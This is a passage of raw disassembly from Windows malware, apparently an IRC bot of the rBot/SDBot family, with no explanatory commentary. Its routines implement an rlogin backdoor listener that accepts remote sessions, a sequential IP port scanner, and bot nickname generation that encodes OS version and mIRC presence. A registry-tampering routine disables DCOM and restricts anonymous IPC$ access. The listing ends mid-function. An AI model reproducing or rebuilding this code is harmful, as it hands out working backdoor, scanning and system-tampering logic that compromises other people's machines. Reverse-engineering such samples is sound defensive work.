sub_41301C proc near ; DATA XREF: sub_4132AA+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_44D064[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_44B6A8 ; select
test eax, eax
jnz short loc_4130A0
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push edi
call ds:dword_4942FC
loc_4130A0: ; CODE XREF: sub_41301C+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_44B6D8 ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_413221
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_413221
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_413221
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_44B61C ; getpeername
test eax, eax
jz short loc_413119
call dword_44B654 ; WSAGetLastError
push eax
push offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>."
call sub_403655
push [ebp+arg_0]
call sub_416507
add esp, 0Ch
push edi
call ds:dword_4942FC
loc_413119: ; CODE XREF: sub_41301C+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_44B678 ; gethostbyaddr
cmp eax, edi
jnz short loc_413143
push [ebp+var_18]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_418D70
jmp short loc_413151
; ---------------------------------------------------------------------------
loc_413143: ; CODE XREF: sub_41301C+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_419FA0
loc_413151: ; CODE XREF: sub_41301C+125j
pop ecx
pop ecx
push edi
push ebx
push offset dword_491DF8
push dword ptr [esi]
call dword_44B710 ; send
cmp dword_491DF0, edi
jnz short loc_4131B3
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41327B
add esp, 10h
test eax, eax
jnz short loc_4131B3
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_44B710 ; send
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push edi
call ds:dword_4942FC
loc_4131B3: ; CODE XREF: sub_41301C+14Cj
; sub_41301C+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>."
call sub_403655
push [ebp+arg_0]
call sub_41416C
add esp, 10h
test eax, eax
jnz short loc_4131FA
call ds:dword_4942F0
push eax
push offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>."
call sub_403655
push [ebp+arg_0]
call sub_416507
add esp, 0Ch
push ebx
call ds:dword_4942FC
loc_4131FA: ; CODE XREF: sub_41301C+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>."
call sub_403655
push [ebp+arg_0]
call sub_416507
add esp, 10h
push edi
call ds:dword_4942FC
sub_41301C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413221 proc near ; CODE XREF: sub_41301C+9Ap
; sub_41301C+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_44B6D8 ; recv
cmp eax, 1
jnz short loc_413271
mov esi, [ebp+arg_4]
loc_41323F: ; CODE XREF: sub_413221+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_413266
test al, al
jz short loc_413275
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_44B6D8 ; recv
cmp eax, 1
jz short loc_41323F
jmp short loc_413271
; ---------------------------------------------------------------------------
loc_413266: ; CODE XREF: sub_413221+27j
push offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long."
call sub_403655
pop ecx
loc_413271: ; CODE XREF: sub_413221+19j
; sub_413221+43j
xor eax, eax
jmp short loc_413278
; ---------------------------------------------------------------------------
loc_413275: ; CODE XREF: sub_413221+2Bj
push 1
pop eax
loc_413278: ; CODE XREF: sub_413221+52j
pop esi
leave
retn
sub_413221 endp
; =============== S U B R O U T I N E =======================================
sub_41327B proc near ; CODE XREF: sub_41301C+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_4132A6
push [esp+arg_4]
push [esp+4+arg_0]
push offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"...
call sub_403655
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4132A6: ; CODE XREF: sub_41327B+11j
push 1
pop eax
retn
sub_41327B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132AA proc near ; DATA XREF: sub_40C50A+561Eo
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_44B638 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_413303
push eax
push offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>."
call sub_403655
push [ebp+var_4C]
call sub_416507
add esp, 0Ch
push edi
call ds:dword_4942FC
loc_413303: ; CODE XREF: sub_4132AA+3Aj
push edi
push offset loc_413528
call ds:dword_4943EC
test eax, eax
jnz short loc_41333C
call ds:dword_4942F0
push eax
push offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "...
call sub_403655
pop ecx
pop ecx
call dword_44B620 ; WSACleanup
push [ebp+var_4C]
call sub_416507
pop ecx
push edi
call ds:dword_4942FC
loc_41333C: ; CODE XREF: sub_4132AA+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_44B6C0 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_44B740 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4134B3
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_44D064[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_44B6EC ; bind
test eax, eax
jnz loc_4134B3
push 7FFFFFFFh
push ebx
call dword_44B6E8 ; listen
test eax, eax
jnz loc_4134B3
push offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"...
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_4035E1
pop ecx
mov [ebp+arg_0], edi
loc_4133CB: ; CODE XREF: sub_4132AA+15Aj
; sub_4132AA+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_44B754 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_4134B6
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_44B6A0 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_4133CB
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset aRlogindClientC ; "[RLOGIND]: Client connection from IP: %"...
push eax
call sub_418D70
lea eax, [ebp+var_414]
push eax
call sub_4035E1
push edi
lea eax, [ebp+var_414]
push 6
push eax
call sub_4161EB
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_44D05C[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_41301C
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_4942F4
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_44D06C[ecx], eax
jz short loc_41349E
loc_41348B: ; CODE XREF: sub_4132AA+1F2j
cmp [ebp+var_38], esi
jnz loc_4133CB
push 32h
call ds:dword_4942D8
jmp short loc_41348B
; ---------------------------------------------------------------------------
loc_41349E: ; CODE XREF: sub_4132AA+1DFj
call ds:dword_4942F0
push eax
push offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"...
call sub_403655
pop ecx
pop ecx
jmp short loc_4134B6
; ---------------------------------------------------------------------------
loc_4134B3: ; CODE XREF: sub_4132AA+C8j
; sub_4132AA+ECj ...
mov edi, [ebp+arg_0]
loc_4134B6: ; CODE XREF: sub_4132AA+13Cj
; sub_4132AA+207j
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_4134F6
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_40842D
add esp, 14h
loc_4134F6: ; CODE XREF: sub_4132AA+22Aj
lea eax, [ebp+var_414]
push eax
call sub_4035E1
pop ecx
push edi
call dword_44B758 ; closesocket
push ebx
call dword_44B758 ; closesocket
call dword_44B620 ; WSACleanup
push [ebp+var_4C]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
pop ebx
loc_413528: ; DATA XREF: sub_4132AA+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_4132AA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413532 proc near ; CODE XREF: sub_4138AA+49p
; DATA XREF: .data:off_441CD0o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call ds:dword_494308
push eax
call sub_418FF0
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset aFf_2 ; "[FF]-"
push offset dword_441D24
push 1Ch
push edi
call sub_418EF0
xor esi, esi
add esp, 10h
cmp dword_43E1BC, esi
jle short loc_41358B
loc_413565: ; CODE XREF: sub_413532+57j
call sub_419000
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_2 ; "%s%i"
push 1Ch
push edi
call sub_418EF0
add esp, 14h
inc esi
cmp esi, dword_43E1BC
jl short loc_413565
loc_41358B: ; CODE XREF: sub_413532+31j
mov eax, edi
pop edi
pop esi
retn
sub_413532 endp
; =============== S U B R O U T I N E =======================================
sub_413590 proc near ; CODE XREF: sub_40C50A+3E7Fp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_494308
push eax
call sub_418FF0
pop ecx
call sub_419000
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_43E1BC
test esi, esi
jle short loc_4135D3
loc_4135BD: ; CODE XREF: sub_413590+41j
call sub_419000
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_4135BD
loc_4135D3: ; CODE XREF: sub_413590+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_413590 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, offset aPc ; "PC"
mov dword ptr [ebp-4], 100h
xor edi, edi
call ds:dword_494308
push eax
call sub_418FF0
pop ecx
lea eax, [ebp-4]
push eax
push esi
call ds:dword_4943B4
test eax, eax
jnz short loc_413612
mov esi, offset aPc_0 ; "PC"
loc_413612: ; CODE XREF: .text:0041360Bj
movsx eax, byte ptr [esi]
push 41h
pop ecx
loc_413618: ; CODE XREF: .text:00413623j
cmp eax, ecx
jnz short loc_41361F
push 1
pop edi
loc_41361F: ; CODE XREF: .text:0041361Aj
inc ecx
cmp ecx, 5Bh
jl short loc_413618
push 61h
pop ecx
loc_413628: ; CODE XREF: .text:00413633j
cmp eax, ecx
jnz short loc_41362F
push 1
pop edi
loc_41362F: ; CODE XREF: .text:0041362Aj
inc ecx
cmp ecx, 7Bh
jl short loc_413628
test edi, edi
jnz short loc_41363E
mov esi, offset aPc_1 ; "PC"
loc_41363E: ; CODE XREF: .text:00413637j
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_418EF0
xor esi, esi
add esp, 0Ch
cmp dword_43E1BC, esi
jle short loc_41367D
loc_413657: ; CODE XREF: .text:0041367Bj
call sub_419000
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call sub_418EF0
add esp, 14h
inc esi
cmp esi, dword_43E1BC
jl short loc_413657
loc_41367D: ; CODE XREF: .text:00413655j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_494308
push eax
call sub_418FF0
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_4943F0
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_32 ; "%s|"
push 1Ch
push edi
call sub_418EF0
xor esi, esi
add esp, 10h
cmp dword_43E1BC, esi
jle short loc_4136F2
loc_4136CC: ; CODE XREF: .text:004136F0j
call sub_419000
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_0 ; "%s%i"
push 1Ch
push edi
call sub_418EF0
add esp, 14h
inc esi
cmp esi, dword_43E1BC
jl short loc_4136CC
loc_4136F2: ; CODE XREF: .text:004136CAj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_491E00
mov dword ptr [ebp-94h], 94h
call ds:dword_4943F4
call ds:dword_494308
push eax
call sub_418FF0
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_41377C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_41375C
cmp dword ptr [ebp-84h], 1
jnz short loc_41374C
mov esi, offset a95 ; "95"
loc_41374C: ; CODE XREF: .text:00413745j
cmp dword ptr [ebp-84h], 2
jnz short loc_4137B8
mov esi, offset aNt ; "NT"
jmp short loc_4137B8
; ---------------------------------------------------------------------------
loc_41375C: ; CODE XREF: .text:0041373Cj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_41376C
mov esi, offset a98 ; "98"
jmp short loc_4137B8
; ---------------------------------------------------------------------------
loc_41376C: ; CODE XREF: .text:00413763j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_4137B3
mov esi, offset aMe_0 ; "ME"
jmp short loc_4137B8
; ---------------------------------------------------------------------------
loc_41377C: ; CODE XREF: .text:00413733j
cmp dword ptr [ebp-90h], 5
jnz short loc_4137B3
cmp dword ptr [ebp-8Ch], 0
jnz short loc_413795
mov esi, offset a2k ; "2K"
jmp short loc_4137B8
; ---------------------------------------------------------------------------
loc_413795: ; CODE XREF: .text:0041378Cj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_4137A5
mov esi, offset aXp ; "XP"
jmp short loc_4137B8
; ---------------------------------------------------------------------------
loc_4137A5: ; CODE XREF: .text:0041379Cj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_4137B8
loc_4137B3: ; CODE XREF: .text:00413773j
; .text:00413783j
mov esi, offset a??? ; "???"
loc_4137B8: ; CODE XREF: .text:00413753j
; .text:0041375Aj ...
mov edi, [ebp+8]
push esi
push offset aS_33 ; "[%s]|"
push 1Ch
push edi
call sub_418EF0
xor esi, esi
add esp, 10h
cmp dword_43E1BC, esi
jle short loc_4137FC
loc_4137D6: ; CODE XREF: .text:004137FAj
call sub_419000
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI_1 ; "%s%i"
push 1Ch
push edi
call sub_418EF0
add esp, 14h
inc esi
cmp esi, dword_43E1BC
jl short loc_4137D6
loc_4137FC: ; CODE XREF: .text:004137D4j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413802 proc near ; CODE XREF: sub_4138AA+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_494308
xor edx, edx
mov ecx, 337F9800h
div ecx
push 0
mov esi, eax
cmp esi, 0Ah
jbe short loc_413851
push offset aMirc_2 ; "mIRC"
call dword_44B6CC ; FindWindowA
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_41383A
mov eax, offset dword_491E04
loc_41383A: ; CODE XREF: sub_413802+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_418EF0
add esp, 14h
jmp short loc_413876
; ---------------------------------------------------------------------------
loc_413851: ; CODE XREF: sub_413802+1Dj
push offset aMirc_3 ; "mIRC"
call dword_44B6CC ; FindWindowA
test eax, eax
mov eax, offset aM_1 ; "[M]"
jnz short loc_41386A
mov eax, offset dword_491E08
loc_41386A: ; CODE XREF: sub_413802+61j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_418D70
pop ecx
pop ecx
loc_413876: ; CODE XREF: sub_413802+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_418E70
pop ecx
cmp eax, 2
pop esi
jbe short loc_4138A5
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_419040
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_4191A0
add esp, 18h
loc_4138A5: ; CODE XREF: sub_413802+82j
mov eax, [ebp+arg_0]
leave
retn
sub_413802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4138AA proc near ; CODE XREF: sub_40823C+10Dp
; sub_40C22A+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_441CCC
loc_4138B6: ; CODE XREF: sub_4138AA+3Fj
cmp [ebp+arg_C], 0
jz short loc_4138D1
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_419360
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4138DB
; ---------------------------------------------------------------------------
loc_4138D1: ; CODE XREF: sub_4138AA+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_4138DB: ; CODE XREF: sub_4138AA+25j
test eax, eax
jnz short loc_4138ED
add esi, 14h
inc edi
cmp esi, offset aPc ; "PC"
jl short loc_4138B6
jmp short loc_4138FB
; ---------------------------------------------------------------------------
loc_4138ED: ; CODE XREF: sub_4138AA+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_441CD0[eax*4]
pop ecx
loc_4138FB: ; CODE XREF: sub_4138AA+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_41390E
push [ebp+arg_0]
call sub_413802
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41390E: ; CODE XREF: sub_4138AA+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4138AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413913 proc near ; DATA XREF: sub_4139E0+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_44B6C0 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_44B740 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4139D1
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_44B668 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_44D064[ecx], esi
jz short loc_4139D1
push [ebp+var_34]
push [ebp+var_28]
call dword_44B74C ; inet_ntoa
push eax
mov edi, offset dword_491E0C
push offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open."
push edi
call sub_418D70
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_40842D
push edi
call sub_4035E1
add esp, 28h
loc_4139D1: ; CODE XREF: sub_413913+5Dj
; sub_413913+7Ej
push esi
call dword_44B758 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_413913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4139E0 proc near ; DATA XREF: sub_40C50A+35EDo
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_4942D8
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_413A0E: ; CODE XREF: sub_4139E0+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d."
push eax
call sub_418D70
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_44CE58
push eax
call sub_4191A0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_413913
push edi
push edi
call ds:dword_4942F4
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_413A7A
loc_413A6F: ; CODE XREF: sub_4139E0+98j
cmp [ebp+var_C], edi
jnz short loc_413A7A
push 32h
call esi
jmp short loc_413A6F
; ---------------------------------------------------------------------------
loc_413A7A: ; CODE XREF: sub_4139E0+8Dj
; sub_4139E0+92j
push [ebp+var_4]
call ds:dword_4942E0
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_418A00
add esp, 0Ch
push [ebp+arg_0]
call dword_44B5F4 ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_44B6BC ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_418A00
add esp, 0Ch
jmp loc_413A0E
sub_4139E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413AD1 proc near ; DATA XREF: sub_40C50A+5F81o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_413B18
call sub_413B31
jmp short loc_413B1D
; ---------------------------------------------------------------------------
loc_413B18: ; CODE XREF: sub_413AD1+3Ej
call sub_413E55
loc_413B1D: ; CODE XREF: sub_413AD1+45j
add esp, 10h
push [ebp+var_14]
call sub_416507
pop ecx
push 0
call ds:dword_4942FC
sub_413AD1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B31 proc near ; CODE XREF: sub_413AD1+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_44B790, edi
jnz loc_413C63
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_44B730 ; RegOpenKeyExA
test eax, eax
jnz short loc_413BBC
mov ax, word_441E28
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_44B6E4 ; RegSetValueExA
test eax, eax
jz short loc_413B9E
push offset aSecureDisableD ; "[SECURE]: Disable DCOM failed."
jmp short loc_413BA3
; ---------------------------------------------------------------------------
loc_413B9E: ; CODE XREF: sub_413B31+64j
push offset aSecureDcomDisa ; "[SECURE]: DCOM disabled."
loc_413BA3: ; CODE XREF: sub_413B31+6Bj
lea eax, [ebp+var_214]
push eax
call sub_418D70
pop ecx
pop ecx
push [ebp+var_4]
call dword_44B69C ; RegCloseKey
jmp short loc_413BCF
; ---------------------------------------------------------------------------
loc_413BBC: ; CODE XREF: sub_413B31+36j
lea eax, [ebp+var_214]
push offset aSecureFailed_1 ; "[SECURE]: Failed to open DCOM registry "...
push eax
call sub_418D70
pop ecx
pop ecx
loc_413BCF: ; CODE XREF: sub_413B31+89j
cmp [ebp+arg_C], edi
jnz short loc_413BEE
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
loc_413BEE: ; CODE XREF: sub_413B31+A1j
lea eax, [ebp+var_214]
push eax
call sub_4035E1
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_44B730 ; RegOpenKeyExA
test eax, eax
jnz short loc_413C5C
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_44B6E4 ; RegSetValueExA
test eax, eax
jz short loc_413C3E
push offset aSecureFailed_2 ; "[SECURE]: Failed to restrict access to "...
jmp short loc_413C43
; ---------------------------------------------------------------------------
loc_413C3E: ; CODE XREF: sub_413B31+104j
push offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"...
loc_413C43: ; CODE XREF: sub_413B31+10Bj
lea eax, [ebp+var_214]
push eax
call sub_418D70
pop ecx
pop ecx
push [ebp+var_4]
call dword_44B69C ; RegCloseKey
jmp short loc_413C76
; ---------------------------------------------------------------------------
loc_413C5C: ; CODE XREF: sub_413B31+E2j
